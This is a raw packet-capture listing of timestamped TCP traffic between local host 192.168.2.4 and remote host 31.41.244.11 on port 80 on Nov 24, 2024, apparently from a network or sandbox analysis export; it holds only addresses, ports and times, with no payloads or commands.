Nov 24, 2024 12:24:12.604713917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.604830027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.607197046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.607337952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.607369900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.607455969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.609899044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.609980106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.610165119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.610407114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.612588882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.612670898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.612935066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.613106012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.615289927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.615411997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.615416050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.615473986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.617970943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.618036985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.618098021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.618160009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.620667934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.620733023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.620826960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.621005058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.623378992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.623441935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.623505116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.623564005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.626092911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.626198053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.626245975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.626442909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.628873110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.628937006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.629070997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.629127979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.631491899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.631558895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.631633997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.631690025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.634172916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.634236097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.700261116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.700352907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.700527906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.700527906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.701308012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.701430082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.701493025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.701493025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.703401089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.703532934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.703588963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.703588963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.705537081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.705604076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.705641031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.705696106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.707700014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.707781076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.707794905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.707851887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.709774971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.709836960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.709863901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.709917068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.711894035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.711976051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.711985111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.712038994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.713937044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.713999033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.714109898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.714169979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.716167927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.716228008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.716284990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.716341972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.717995882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.718054056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.718055010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.718107939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.719923019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.719983101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.720082998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.720136881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.721873045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.721930981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.721999884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.722099066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.723818064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.723879099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.723933935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.723989964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.725749016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.725811958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.725876093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.725933075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.727632046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.727703094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.727720022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.727756977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.729536057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.729594946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.729640007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.729696989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.731472015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.731529951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.731602907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.731667042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.733324051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.733447075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.733453989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.733491898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.735099077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.735157967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.735232115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.735291004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.736968994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.737025976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.737095118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.737149954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.738730907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.738789082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.738852978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.738920927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.740561962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.740619898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.740679979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.740734100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.742383003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.742444992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.742535114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.742597103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.744183064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.744282961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.744287014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.744338989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.745919943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.745975971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.745994091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.746051073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.747643948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.747711897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.747795105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.747853994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.748598099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.748657942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.748755932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.748823881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.749578953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.749639988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.749674082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.749732018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.750569105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.750626087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.750627041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.750684023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.751765966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.751825094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.751892090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.751948118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.752692938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.752751112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.752754927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.752804041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.753429890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.753496885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.753550053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.753606081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.754291058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.754364014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.754430056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.754489899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.755247116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.755309105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.755369902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.755429983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.756237030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.756295919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.756383896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.756447077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.757390022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.757460117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.757534027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.757590055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.758419991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.758475065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.758533955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.758591890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.759241104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.759299994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.759390116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.759445906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.760191917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.760247946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.760320902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.760376930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.761037111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.761090040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.761162996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.761218071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.761888981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.761961937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.762054920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.762114048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.762881994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.762958050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.763037920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.763089895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.763833046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.763886929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.763976097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.764034033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.764745951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.764849901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.764930010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.764985085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.765742064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.765805960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.765911102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.765964031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.766719103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.766779900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.766855001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.766908884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.767803907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.767862082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.768007040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.768062115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.768733978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.768793106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.768907070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.768964052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.769684076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.769731998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.769804001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.769860029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.770484924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.770540953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.771060944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.771117926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.771523952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.771579027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.771718025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.771775961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.772356987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.772412062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.772810936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.772866011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.773304939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.773363113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.773448944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.773497105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.774219036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.774282932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.904694080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.904792070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.905047894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.905076027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.905189037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.905252934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.905261993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.905261993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.905261993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.905353069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.906100988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.906169891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.906215906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.906269073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.907033920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.907092094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.907140017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.907200098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.907951117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.908006907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.908051968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.908103943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.908845901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.908901930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.908946991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.908998966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.909785986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.909843922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.909888029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.909941912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.910701990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.910756111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.910806894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.910857916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.911618948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.911678076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.911725998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.911781073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.912529945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.912585974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.912631989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.912687063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.913475990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.913527012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.913594961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.913644075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.914401054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.914453983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.914500952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.914549112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.915290117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.915412903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.915426016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.915482998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.916237116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.916290998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.916379929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.916440010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.917136908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.917193890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.917251110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.917304039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.918164968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.918217897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.918236971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.918291092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.918972015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.919030905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.919075012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.919126987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.919899940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.919955969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.920030117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.920080900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.920803070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.920861006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.920919895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.920974016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.921700954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.921758890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.921811104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.921869040 CET	49765	80	192.168.2.4	31.41.244.11
